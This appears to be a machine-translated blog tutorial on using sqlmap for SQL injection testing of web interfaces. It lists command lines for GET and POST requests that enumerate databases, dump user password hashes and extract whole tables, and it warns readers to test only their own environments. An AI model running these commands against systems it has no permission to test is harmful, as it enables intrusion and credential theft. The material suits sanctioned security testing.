当前位置:网站首页>Sqlmap for interface security testing
Sqlmap for interface security testing
2022-06-25 20:55:00 【Gem, Chaochao】
sqlmap
brief introduction
Official website : https://sqlmap.org/
know : sqlmap Is an open source penetration testing tool , It automates detection and utilization SQL The process of injecting defects and taking over the database server .
characteristic :
1. Support MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2 And other common databases .
2. Support six SQL Injection technology is based on Boolean blind injection 、 Time based blind annotation 、 Error based injection 、 Injection based on joint query 、 Stack query injection and out of band query injection .
3. Support automatic identification of password hash format , And support the use of dictionary based attacks to crack it .
4. Support dump Database table , Can also be dump Partial column , It depends on the user's choice .
Use
reminder : Please test in your own environment , Do not test other websites for damage
Premise : The system has been configured Python Environmental Science
stay sqlmap Under the document ,shift+ Right mouse button , choice Open here Powershell window
get request
#--batch Default confirmation , Don't ask if you enter
# Get all databases
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch --dbs
# Get the database for the interface
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch --current-db
# Get all users and passwords in the database
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch --users --passwords
# Get the user name for this interface
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch --current-user
# Get all tables of a database
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch -D Library name --tables
# Get all column names of a database and a table
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch -D Library name -T Table name --columns
# Get the value of a column of a table in a database
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch -D Library name -T Table name -C Name , Name --start Go ahead --stop End line --dump
# Get the data of the following tables of all libraries
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch --dump-all
post request
#--batch Default confirmation , Don't ask if you enter
# Get all databases
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch --dbs
# Get the database for the interface
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch --current-db
# Get all users and passwords in the database
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch --users --passwords
# Get the user name for this interface
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch --current-user
# Get all tables of a database
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch -D Library name --tables
# Get all column names of a database and a table
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch -D Library name -T Table name --columns
# Get the value of a column of a table in a database
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch -D Library name -T Table name -C Name , Name --start Go ahead --stop End line --dump
# Get the data of the following tables of all libraries
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch --dump-all
legend
Safe
all tested parameters do not appear to be injectable
None of the test parameters seem to inject

Not safe

边栏推荐
- laf. JS - open source cloud development framework (readme.md)
- Several ways to obtain domain administrator privileges
- Jingxi Pinpin wechat applet -signstr parameter encryption
- Node connection MySQL
- How can the intelligent transformation path of manufacturing enterprises be broken due to talent shortage and high cost?
- Leetcode daily question - 28 Implement strstr() (simple)
- Compile 6relayd using the cross compiler
- Record some questions about MySQL (DNS reverse resolution in Linux)
- [summary] 2021unctf Campus (cry & MISC)
- Openocd compilation and installation
猜你喜欢

Several methods of obtaining function annotation text on pycharm

Splunk series: Splunk data import (II)
Day 28/100 CI CD basic introductory concepts

Getting started and using postman
Detailed explanation of unified monitoring function of multi cloud virtual machine

TypeError: __ init__ () takes 1 positional argument but 5 were given
Attention to government and enterprise users! The worm prometei is spreading horizontally against the local area network

Lantern Festival, learning at the right time! Novice training camp attacks again, learning buff continues to fill up
Global netizens Yuanxiao created a picture of appreciating the moon together to experience the creativity of Baidu Wenxin big model aigc
Why doesn't anyone read your hard-working blog? Do you really understand the skills of framing, typesetting and drawing?
随机推荐
Illustrated with pictures and texts, 700 pages of machine learning notes are popular! Worth learning
Basic process of configuring utf8 in idea
Bank digital transformation layout in the beginning of the year, 6 challenges faced by financial level structure and Countermeasures
Must see the summary! In depth learning era, you should read 10 articles to understand image classification!
hashlib. Md5() function to filter out duplicate system files and remove them
The live registration is hot to start | the first show of Apache dolphin scheduler meetup in 2022!
Redis core principle and design idea
Talking about the foundation of function test today
Intra domain information collection for intranet penetration
Openocd adds third-party device support: ht32f52352 Cortex-M0+
Uncover n core 'black magic' of Presto + alluxio
How can the intelligent transformation path of manufacturing enterprises be broken due to talent shortage and high cost?
Share several Threat Intelligence platforms
Why doesn't anyone read your hard-working blog? Do you really understand the skills of framing, typesetting and drawing?
Leetcode daily question - 28 Implement strstr() (simple)
Svn various color states
Desktop network error display red ×, Component failed to start
Cross project measurement is a good helper for CTOs and PMOS
Interview records
Cvpr2021 collection of papers | cvpr2021 latest papers | cvpr2021 review results | cvpr2021 admission results